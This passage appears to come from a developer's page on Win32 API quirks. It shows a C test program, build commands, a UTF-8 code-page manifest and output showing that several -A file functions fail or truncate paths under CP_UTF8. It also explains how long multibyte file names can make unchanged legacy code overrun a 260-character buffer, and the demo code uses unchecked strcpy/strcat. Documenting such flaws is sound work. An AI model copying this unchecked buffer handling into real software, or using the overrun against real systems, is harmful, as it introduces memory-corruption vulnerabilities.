'Ê' (U+00CA) wnsprintfA() returned string 'Ë' of 2 characters for wide character 'Ë' (U+00CB) wnsprintfA() returned string 'Ì' of 2 characters for wide character 'Ì' (U+00CC) wnsprintfA() returned string 'Í' of 2 characters for wide character 'Í' (U+00CD) wnsprintfA() returned string 'Î' of 2 characters for wide character 'Î' (U+00CE) wnsprintfA() returned string 'Ï' of 2 characters for wide character 'Ï' (U+00CF) wnsprintfA() returned string 'Ð' of 2 characters for wide character 'Ð' (U+00D0) wnsprintfA() returned string 'Ñ' of 2 characters for wide character 'Ñ' (U+00D1) wnsprintfA() returned string 'Ò' of 2 characters for wide character 'Ò' (U+00D2) wnsprintfA() returned string 'Ó' of 2 characters for wide character 'Ó' (U+00D3) wnsprintfA() returned string 'Ô' of 2 characters for wide character 'Ô' (U+00D4) wnsprintfA() returned string 'Õ' of 2 characters for wide character 'Õ' (U+00D5) wnsprintfA() returned string 'Ö' of 2 characters for wide character 'Ö' (U+00D6) wnsprintfA() returned string '×' of 2 characters for wide character '×' (U+00D7) wnsprintfA() returned string 'Ø' of 2 characters for wide character 'Ø' (U+00D8) wnsprintfA() returned string 'Ù' of 2 characters for wide character 'Ù' (U+00D9) wnsprintfA() returned string 'Ú' of 2 characters for wide character 'Ú' (U+00DA) wnsprintfA() returned string 'Û' of 2 characters for wide character 'Û' (U+00DB) wnsprintfA() returned string 'Ü' of 2 characters for wide character 'Ü' (U+00DC) wnsprintfA() returned string 'Ý' of 2 characters for wide character 'Ý' (U+00DD) wnsprintfA() returned string 'Þ' of 2 characters for wide character 'Þ' (U+00DE) wnsprintfA() returned string 'ß' of 2 characters for wide character 'ß' (U+00DF) wnsprintfA() returned string 'à' of 2 characters for wide character 'à' (U+00E0) wnsprintfA() returned string 'á' of 2 characters for wide character 'á' (U+00E1) wnsprintfA() returned string 'â' of 2 characters for wide character 'â' (U+00E2) wnsprintfA() returned string 'ã' of 2 characters for wide character 'ã' (U+00E3) wnsprintfA() returned string 'ä' of 2 characters for wide character 'ä' (U+00E4) wnsprintfA() returned string 'å' of 2 characters for wide character 'å' (U+00E5) wnsprintfA() returned string 'æ' of 2 characters for wide character 'æ' (U+00E6) wnsprintfA() returned string 'ç' of 2 characters for wide character 'ç' (U+00E7) wnsprintfA() returned string 'è' of 2 characters for wide character 'è' (U+00E8) wnsprintfA() returned string 'é' of 2 characters for wide character 'é' (U+00E9) wnsprintfA() returned string 'ê' of 2 characters for wide character 'ê' (U+00EA) wnsprintfA() returned string 'ë' of 2 characters for wide character 'ë' (U+00EB) wnsprintfA() returned string 'ì' of 2 characters for wide character 'ì' (U+00EC) wnsprintfA() returned string 'í' of 2 characters for wide character 'í' (U+00ED) wnsprintfA() returned string 'î' of 2 characters for wide character 'î' (U+00EE) wnsprintfA() returned string 'ï' of 2 characters for wide character 'ï' (U+00EF) wnsprintfA() returned string 'ð' of 2 characters for wide character 'ð' (U+00F0) wnsprintfA() returned string 'ñ' of 2 characters for wide character 'ñ' (U+00F1) wnsprintfA() returned string 'ò' of 2 characters for wide character 'ò' (U+00F2) wnsprintfA() returned string 'ó' of 2 characters for wide character 'ó' (U+00F3) wnsprintfA() returned string 'ô' of 2 characters for wide character 'ô' (U+00F4) wnsprintfA() returned string 'õ' of 2 characters for wide character 'õ' (U+00F5) wnsprintfA() returned string 'ö' of 2 characters for wide character 'ö' (U+00F6) wnsprintfA() returned string '÷' of 2 characters for wide character '÷' (U+00F7) wnsprintfA() returned string 'ø' of 2 characters for wide character 'ø' (U+00F8) wnsprintfA() returned string 'ù' of 2 characters for wide character 'ù' (U+00F9) wnsprintfA() returned string 'ú' of 2 characters for wide character 'ú' (U+00FA) wnsprintfA() returned string 'û' of 2 characters for wide character 'û' (U+00FB) wnsprintfA() returned string 'ü' of 2 characters for wide character 'ü' (U+00FC) wnsprintfA() returned string 'ý' of 2 characters for wide character 'ý' (U+00FD) wnsprintfA() returned string 'þ' of 2 characters for wide character 'þ' (U+00FE) wnsprintfA() returned string 'ÿ' of 2 characters for wide character 'ÿ' (U+00FF)OOPS²: contrary to the second 2 highlighted statements of the documentation cited above, the
wnsprintfA()
function but supports the pointer type p
as well as the
flags +
, 0
,
(blank)
and #
!
OOPS³: for each of the 123 wide characters
from the string CP1252
, the
wnsprintfA()
function returns a character count greater 1, i.e. the documentation
cited above confuses character alias code point and
byte alias code unit!
Aforms of the Win32 functions for directory and file management are all limited to a maximum path name length of 260 characters, defined with the preprocessor macro
MAX_PATH
. For example, the
RemoveDirectoryA()
function is documented in the
MSDN as
follows:
Deletes an existing empty directory.The[…]
[…]BOOL RemoveDirectoryA( LPCSTR lpPathName );
lpPathName
The path of the directory to be removed. This path must specify an empty directory, and the calling process must have delete access to the directory.
In the ANSI version of this function, the name is limited to MAX_PATH characters. To extend this limit to 32,767 wide characters, call the Unicode version of the function (RemoveDirectoryW), and prepend "\\?\" to the path. For more information, see Naming Files, Paths, and Namespaces.
Tip Starting in Windows 10, version 1607, for the unicode version of this function (RemoveDirectoryW), you can opt-in to remove the MAX_PATH character limitation without prepending "\\?\". See the "Maximum Path Limitation" section of Naming Files, Paths, and Namespaces for details.
CreateDirectoryA()
function is documented in the
MSDN with an
additional limitation, giving but a wrong number:
Creates a new directory. […]OUCH: the correct value of the string size limit is[…]BOOL CreateDirectoryA( LPCSTR lpPathName, LPSECURITY_ATTRIBUTES lpSecurityAttributes );
lpPathName
The path of the directory to be created.
For the ANSI version of this function, there is a default string size limit for paths of 248 characters (MAX_PATH - enough room for a 8.3 filename). To extend this limit to 32,767 wide characters, call the Unicode version of the function and prepend "\\?\" to the path. For more information, see Naming Files, Paths, and Namespaces.
Tip Starting with Windows 10, version 1607, for the unicode version of this function (CreateDirectoryW), you can opt-in to remove the 248 character limitation without prepending "\\?\". The 255 character limit per path segment still applies. See the "Maximum Path Length Limitation" section of Naming Files, Paths, and Namespaces for details.
lpSecurityAttributes
[…]
MAX_PATH
− sizeof("\\filename.ext")
= 260 − 14 = 246!
Win32 APIs often support both -A and -W variants.Caveat: here character means-A variants recognize the ANSI code page configured on the system and support
char*
, while -W variants operate in UTF-16 and supportWCHAR
.Until recently, Windows has emphasized "Unicode" -W variants over -A APIs. However, recent releases have used the ANSI code page and -A APIs as a means to introduce UTF-8 support to apps. If the ANSI code page is configured for UTF-8, -A APIs typically operate in UTF-8. This model has the benefit of supporting existing code built with -A APIs without any code changes.
[…]
Note
CP_ACP
equates toCP_UTF8
only if running on Windows Version 1903 (May 2019 Update) or above and the ActiveCodePage property described above is set to UTF-8. Otherwise, it honors the legacy system code page. We recommend usingCP_UTF8
explicitly.
CHAR
alias char
alias byte, not
Unicode
code point!
Since in UTF-8 encoding a code point requires 1 to 4 code units alias characters, configuring the ANSI code page for UTF-8 can actually break existing code!
Note: in UTF-16 encoding a code point requires 1 or 2 code units alias wide characters of 2 characters each; while code points which fit into 1 UTF-16 code unit require 1 to 3 UTF-8 code units of 1 character each, code points which require 2 UTF-16 code units, a high/low surrogate pair, require 4 UTF-8 code units, i.e. the latter require in both transformation formats the same number of characters alias bytes.
Create the text file quirk40.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define _CRT_SECURE_NO_WARNINGS
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
// Thai, Baht
// CP874 L"฿\\๐๑๒๓๔๕๖๗๘๙…"
// Japanese, Yen
// CP932 L"¥\\〇一二三四五六七八九…"
// Chinese, Yuan Renminbi
// CP936 L"元\\零一二三四五六七八九…"
// Korean, Won
// CP949 L"₩\\…"
// Traditional Chinese
// CP950 L"…\\…"
// Central/Eastern Europe, Azerbaijani Manat
// CP1250 L"₼\\…"
// Cyrillic, Russian Ruble
// CP1251 L"₽\\ЁЂЃЄЅІЇЈЉЊЋЌЍЎЏАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯёђѓєѕіїјљњћќѝўџабвгдежзийклмнопрстуфхцчшщъыьэюя…"
// Western, Euro
#define CP1252 L"€\\€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ"
// Greek, Drachma
// CP1253 L"₯\\ΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤΥΦΧΨΩαβγδεζηθικλμνξοπρστυφχψω…"
// Turkish, Lira
// CP1254 L"₻\\…"
// Hebrew, New Shekel
// CP1255 L"₪\\אבגדהוזחטיךכלםמןנסעףפץצקרשת…"
// Arabic, Iranian Rial
// CP1256 L"﷼\\٠١٢٣٤٥٦٧٨٩…"
// Baltic, Euro
// CP1257 L"€\\…"
// Vietnamese, Dong
// CP1258 L"₫\\空𠬠𠄩𠀧𦊚𠄼𦒹𦉱𠔭𠃩𨒒…"
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
WIN32_FIND_DATAA wfd;
DWORD dwError = ERROR_SUCCESS;
CHAR szEURO[4];
#ifdef QUIRKS
CHAR szANSI[MAX_PATH * 3];
#else
CHAR szANSI[MAX_PATH];
#endif
WCHAR szWide[MAX_PATH];
UINT uiWide;
UINT uiANSI;
HANDLE hANSI;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
if (WideCharToMultiByte(CP_ACP,
WC_COMPOSITECHECK | WC_DEFAULTCHAR | WC_NO_BEST_FIT_CHARS,
L"€", sizeof(L"€") / sizeof(L'€'),
szEURO, sizeof(szEURO),
(LPCCH) NULL, (LPBOOL) NULL) == 0)
PrintConsole(hConsole,
L"WideCharToMultiByte() returned error %lu\n",
dwError = GetLastError());
else
if (!CreateDirectoryA(szEURO, (LPSECURITY_ATTRIBUTES) NULL))
PrintConsole(hConsole,
L"CreateDirectoryA() returned error %lu for pathname \'%hs\'\n",
dwError = GetLastError(), szEURO);
else
{
if (WideCharToMultiByte(CP_ACP,
WC_COMPOSITECHECK | WC_DEFAULTCHAR | WC_NO_BEST_FIT_CHARS,
CP1252, sizeof(CP1252) / sizeof(*CP1252),
szANSI, sizeof(szANSI),
(LPCCH) NULL, (LPBOOL) NULL) == 0)
{
PrintConsole(hConsole,
L"WideCharToMultiByte() returned error %lu for pathname \'%ls\' of %lu wide characters\n",
dwError = GetLastError(), CP1252, wcslen(CP1252));
if (!CreateDirectoryW(CP1252, (LPSECURITY_ATTRIBUTES) NULL))
PrintConsole(hConsole,
L"CreateDirectoryW() returned error %lu for pathname \'%ls\' of %lu wide characters\n",
dwError = GetLastError(), CP1252, wcslen(CP1252));
wcscpy(szWide, L"€\\");
do
wcscat(szWide, L"€");
while (CreateDirectoryW(szWide, (LPSECURITY_ATTRIBUTES) NULL));
PrintConsole(hConsole,
L"CreateDirectoryW() returned error %lu for pathname \'%ls\' of %lu wide characters\n",
dwError = GetLastError(), szWide, wcslen(szWide));
}
else
{
if (!CreateDirectoryA(szANSI, (LPSECURITY_ATTRIBUTES) NULL))
PrintConsole(hConsole,
L"CreateDirectoryA() returned error %lu for pathname \'%hs\' of %lu characters\n",
dwError = GetLastError(), szANSI, strlen(szANSI));
else
if (GetTempFileNameA(szANSI, szEURO, 0, szANSI) == 0)
PrintConsole(hConsole,
L"GetTempFileNameA() returned error %lu for pathname \'%hs\'\n",
dwError = GetLastError(), szANSI);
else
{
PrintConsole(hConsole,
L"GetTempFileNameA() returned pathname \'%hs\' of %lu characters\n",
szANSI, strlen(szANSI));
if (!DeleteFileA(szANSI))
PrintConsole(hConsole,
L"DeleteFileA() returned error %lu for pathname \'%hs\'\n",
dwError = GetLastError(), szANSI);
}
strcpy(szANSI, szEURO);
strcat(szANSI, "\\");
do
strcat(szANSI, szEURO);
while (CreateDirectoryA(szANSI, (LPSECURITY_ATTRIBUTES) NULL));
PrintConsole(hConsole,
L"CreateDirectoryA() returned error %lu for pathname \'%hs\' of %lu characters\n",
dwError = GetLastError(), szANSI, strlen(szANSI));
}
uiANSI = WideCharToMultiByte(CP_ACP,
WC_COMPOSITECHECK | WC_DEFAULTCHAR | WC_NO_BEST_FIT_CHARS,
CP1252, 4,
szANSI, sizeof(szANSI),
(LPCCH) NULL, (LPBOOL) NULL);
if (uiANSI == 0)
PrintConsole(hConsole,
L"WideCharToMultiByte() returned error %lu for pathname \'%.4ls\' of 4 wide characters\n",
dwError = GetLastError(), CP1252);
else
{
strcpy(szANSI + uiANSI, "*");
hANSI = FindFirstFileA(szANSI, &wfd);
if (hANSI == INVALID_HANDLE_VALUE)
PrintConsole(hConsole,
L"FindFirstFileA() returned error %lu for pathname \'%hs\'\n",
dwError = GetLastError(), szANSI);
else
{
while (FindNextFileA(hANSI, &wfd));
dwError = GetLastError();
if (dwError != ERROR_NO_MORE_FILES)
PrintConsole(hConsole,
L"FindNextFileA() returned error %lu\n",
dwError);
}
}
strcpy(szANSI, szEURO);
strcat(szANSI, "\\*");
hANSI = FindFirstFileA(szANSI, &wfd);
if (hANSI == INVALID_HANDLE_VALUE)
PrintConsole(hConsole,
L"FindFirstFileA() returned error %lu for pathname \'%hs\'\n",
dwError = GetLastError(), szANSI);
else
{
do
{
strcpy(szANSI, szEURO);
strcat(szANSI, "\\");
strcat(szANSI, wfd.cFileName);
if (!RemoveDirectoryA(szANSI))
PrintConsole(hConsole,
L"RemoveDirectoryA() returned error %lu for pathname \'%hs\'\n",
dwError = GetLastError(), szANSI);
} while (FindNextFileA(hANSI, &wfd));
dwError = GetLastError();
if (dwError == ERROR_MORE_DATA)
{
uiWide = MultiByteToWideChar(CP_ACP,
MB_ERR_INVALID_CHARS | MB_PRECOMPOSED,
szANSI, -1,
(LPWSTR) NULL, 0);
if (uiWide == 0)
PrintConsole(hConsole,
L"MultiByteToWideChar() returned error %lu\n",
dwError = GetLastError());
PrintConsole(hConsole,
L"FindNextFileA() returned pathname \'%hs\' of %lu characters in %u code points\n",
szANSI, strlen(szANSI), uiWide - 1);
}
if (dwError != ERROR_NO_MORE_FILES)
PrintConsole(hConsole,
L"FindNextFileA() returned error %lu\n",
dwError);
else
if (GetTempFileNameA(szANSI, szEURO, 0, szANSI) == 0)
PrintConsole(hConsole,
L"GetTempFileNameA() returned error %lu for pathname \'%hs\'\n",
dwError = GetLastError(), szANSI);
else
{
PrintConsole(hConsole,
L"GetTempFileNameA() returned pathname \'%hs\' of %lu characters\n",
szANSI, strlen(szANSI));
if (!DeleteFileA(szANSI))
PrintConsole(hConsole,
L"DeleteFileA() returned error %lu for pathname \'%hs\'\n",
dwError = GetLastError(), szANSI);
}
if (!FindClose(hANSI))
PrintConsole(hConsole,
L"FindClose() returned error %lu\n",
GetLastError());
}
if (!RemoveDirectoryA(szEURO))
PrintConsole(hConsole,
L"RemoveDirectoryA() returned error %lu for pathname \'%hs\'\n",
dwError = GetLastError(), szEURO);
}
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
Code Page 1250 Windows Latin 2 (Central Europe)
Code Page 1251 Windows Cyrillic (Slavic)
Code Page 1252 Windows Latin 1 (ANSI)
Code Page 1253 Windows Greek
Code Page 1254 Windows Latin 5 (Turkish)
Code Page 1255 Windows Hebrew
Code Page 1256 Windows Arabic
Code Page 1257 Windows Baltic Rim
Build the console application quirk40.exe
from the
source file quirk40.c
created in step 1.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk40.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk40.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Note: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk40.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk40.exe quirk40.obj kernel32.lib user32.lib
Execute the console application quirk40.exe
built in
step 2. to demonstrate the legacy behaviour:
CHDIR .\quirk40.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
C:\Users\Stefan GetTempFileNameA() returned pathname '€\€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\€20AC.tmp' of 135 characters CreateDirectoryA() returned error 206 for pathname '€\€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€' of 232 characters RemoveDirectoryA() returned error 145 for pathname '€\.' RemoveDirectoryA() returned error 32 for pathname '€\..' FindNextFileA() returned pathname '€\€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€' of 231 characters GetTempFileNameA() returned error 267 for pathname '€\€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€' 0x10B (WIN32: 267 ERROR_DIRECTORY) -- 267 (267) Error message text: The directory name is invalid. CertUtil: -error command completed successfully.OUCH¹: contrary to the documentation cited above, the
CreateDirectoryA()
function accepts only 231 characters instead of OUCH²: although the directory name for the
GetTempFileName()
function is valid and not longer than
MAX_PATH
− 14 = 246
characters, it fails with Win32 error code 267 alias
ERROR_DIRECTORY
!
Note: the first 3 error messages which show the
Win32 error codes 206 alias
ERROR_FILENAME_EXCED_RANGE
,
145 alias
ERROR_DIR_NOT_EMPTY
and 32 alias
ERROR_SHARING_VIOLATION
are expected and normal behaviour!
Create the text file quirk40.xml
with the following
content next to the console application quirk40.exe
built in step 2.:
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<!-- Copyright (C) 2004-2025, Stefan Kanthak -->
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
<assemblyIdentity name='Quirk40' processorArchitecture='*' type='win32' version='0.8.1.5' />
<application xmlns='urn:schemas-microsoft-com:asm.v3'>
<windowsSettings>
<activeCodePage xmlns='http://schemas.microsoft.com/SMI/2019/WindowsSettings'>UTF-8</activeCodePage>
</windowsSettings>
</application>
<compatibility xmlns='urn:schemas-microsoft-com:compatibility.v1'>
<application>
<supportedOS Id='{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}' />
</application>
</compatibility>
<description>Quirk40 Console Application</description>
</assembly>
Note: the double use of an
XML element
named application
is (at least) clumsy and error-prone!
Embed the
Application Manifest
quirk40.xml
created in step 4. in the console
application quirk40.exe
built in step 2.:
MT.EXE /CANONICALIZE /MANIFEST quirk40.xml /OUTPUTRESOURCE:quirk40.exeNote: the Manifest Tool
MT.exe
is shipped with the Windows Software Development Kit.
Microsoft (R) Manifest Tool version 6.1.7716.0 Copyright (c) Microsoft Corporation 2009. All rights reserved.
Execute the console application quirk40.exe
configured
in step 5. for the code page 65001 alias CP_UTF
to
demonstrate the (mis)behaviour:
VER .\quirk40.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
Microsoft Windows [Version 10.0.22621.1105] WideCharToMultiByte() returned error 122 for pathname '€\€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ' of 125 characters CreateDirectoryW() returned error 206 for pathname '€\€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€' of 232 wide characters FindFirstFileA() returned error 234 for pathname '€\€‚*' RemoveDirectoryA() returned error 145 for pathname '€\.' RemoveDirectoryA() returned error 32 for pathname '€\..' FindNextFileA() returned pathname '€\€' of 7 characters in 3 code points FindNextFileA() returned error 234 RemoveDirectoryA() returned error 145 for pathname '€' 0x91 (WIN32: 145 ERROR_DIR_NOT_EMPTY) -- 145 (145) Error message text: The directory name is invalid. CertUtil: -error command completed successfully.Note: the path name
€\€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ
of 125
ANSI
characters as well as 125
Unicode
code points requires 266 code units alias characters in
UTF-8
encoding and exceeds MAX_PATH
= 260; its file
or directory name of 123
ANSI
characters requires 262 code units alias characters in
UTF-8
encoding and exceeds MAX_PATH
too.
OUCH¹: the
WideCharToMultiByte()
WideCharToMultiByte()
function fails with Win32 error code 122 alias
ERROR_INSUFFICIENT_BUFFER
due to the 260 character limit!
OUCH²: since its wildcard pattern
€\€‚*
matches the above path name, the
FindFirstFile()
function fails with Win32 error code 234 alias
ERROR_MORE_DATA
due to the 260 character limit imposed by the
WIN32_FIND_DATAA
data structure!
OUCH³: since the wildcard pattern
€\*
matches the above path name, the
FindNextFile()
function too fails with Win32 error code 234 alias
ERROR_MORE_DATA
due to the 260 character limit imposed by the
WIN32_FIND_DATAA
data structure!
OUCH⁴: contrary to the highlighted statement
of the documentation cited above last,
existing unchanged code
exhibits multiple
failures when code page 65001 alias CP_UTF8
is used
– it fails to enumerate path names of more than 7 (in words:
seven)
ANSI
characters respectively 3 (in words: three)
Unicode
code points, i.e. it misses all but the first of
the total 229 subdirectories created in the directory
€
and leaves this non-empty directory with 228
empty subdirectories behind!
NOTE: not demonstrated here,
existing unchanged code
is susceptible to buffer overruns
which are impossible with other (legacy
)
ANSI
Code Pages
where the Win32 functions
FindFirstFile()
and
FindNextFile()
return at most 255 characters in the
WIN32_FIND_DATAA
data structure; the concatenation of the 2 character directory name
€\
, a 2 character drive letter A:
or
a 3 character drive path name B:\
and the longest file
name fits into a buffer of 260 characters (which is the reason why
MAX_PATH
is not defined as 256).
CAVEAT: without the subdirectory
€\€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ
in place, the
FindNextFile()
function enumerates the first
MAX_PATH
÷ strlen(szEURO)
= 260 ÷ 3 = 86
subdirectories and returns a file name of
86 × 3 = 258 characters in the
WIN32_FIND_DATAA
data structure before it fails with Win32 error code
234 alias
ERROR_MORE_DATA
– concatenation of the 4 character directory name
€\
and this 258 character file name then overruns
the buffer of 260 characters!
Caveat: the buffer overrun also happens with the
prefixes .\
, C:
and D:\
– the only prefix which avoids it is \
!
Caveat: of course the
FindFirstFile()
function too can return a file name which causes a buffer overrun.
Build the console application quirk40.exe
a second
time from the source file quirk40.c
created in
step 1., now with the preprocessor macro QUIRKS
defined:
CL.EXE /DQUIRKS quirk40.c kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk40.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk40.exe quirk40.obj kernel32.lib user32.lib
Embed the
Application Manifest
quirk40.xml
created in step 4. in the console
application quirk40.exe
built in step 7.:
MT.EXE /CANONICALIZE /MANIFEST quirk40.xml /OUTPUTRESOURCE:quirk40.exeNote: the Manifest Tool
MT.exe
is shipped with the Windows Software Development Kit.
Microsoft (R) Manifest Tool version 6.1.7716.0 Copyright (c) Microsoft Corporation 2009. All rights reserved.
Execute the console application quirk40.exe
configured
in step 5. for the code page 65001 alias CP_UTF
to
demonstrate the changed (mis)behaviour:
VER .\quirk40.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
Microsoft Windows [Version 10.0.22621.1105] GetTempFileNameA() returned error 234 for pathname '€\€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùú' CreateDirectoryA() returned error 206 for pathname '€\€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€' of 694 characters FindFirstFileA() returned error 234 for pathname '€\€‚*' RemoveDirectoryA() returned error 145 for pathname '€\.' RemoveDirectoryA() returned error 32 for pathname '€\..' FindNextFileA() returned pathname '€\€' of 7 characters in 3 code points FindNextFileA() returned error 234 RemoveDirectoryA() returned error 145 for pathname '€' 0x91 (WIN32: 145 ERROR_DIR_NOT_EMPTY) -- 145 (145) Error message text: The directory name is invalid. CertUtil: -error command completed successfully.OOPS: on Windows 10 1903 and later versions, using the code page 65001 alias
CP_UTF8
, at
least the
CreateDirectoryA()
function is not limited to MAX_PATH
(minus some) characters any more, but supports MAX_PATH
(minus some) code points, i.e. about
MAX_PATH
× 3 = 780 characters!
OUCH¹: the
GetTempFileNameA()
function fails with Win32 error code 234 alias
ERROR_MORE_DATA
for a path name of 125 code points, truncating it to 120 code points
in the output buffer!
OUCH²: as before, the
FindFirstFile()
function fails with Win32 error code 234 alias
ERROR_MORE_DATA
due to the 260 character limit imposed by the
WIN32_FIND_DATAA
data structure!
OUCH³: as before, the
FindNextFile()
function fails with Win32 error code 234 alias
ERROR_MORE_DATA
due to the 260 character limit imposed by the
WIN32_FIND_DATAA
data structure, after enumerating only 1 of 229 subdirectory names!
ΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤΥΦΧΨΩαβγδεζηθικλμνξοπρστυφχψω
from code page 1253 or non-ASCII characters from other
(legacy) Code Pages is left as an exercise to the reader.
Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.
GetClassNameA()
,
GetWindowTextA()
,
GetWindowTextLengthA()
and
RealGetWindowClassA()
are documented in the
MSDN as
follows:
Retrieves the name of the class to which the specified window belongs.[…]int GetClassNameA( HWND hWnd, LPSTR lpClassName, int nMaxCount );
hWnd
A handle to the window and, indirectly, the class to which the window belongs.
lpClassName
The class name string.
nMaxCount
The length of the lpClassName buffer, in characters. The buffer must be large enough to include the terminating null character; otherwise, the class name string is truncated to
nMaxCount-1
characters.[…]
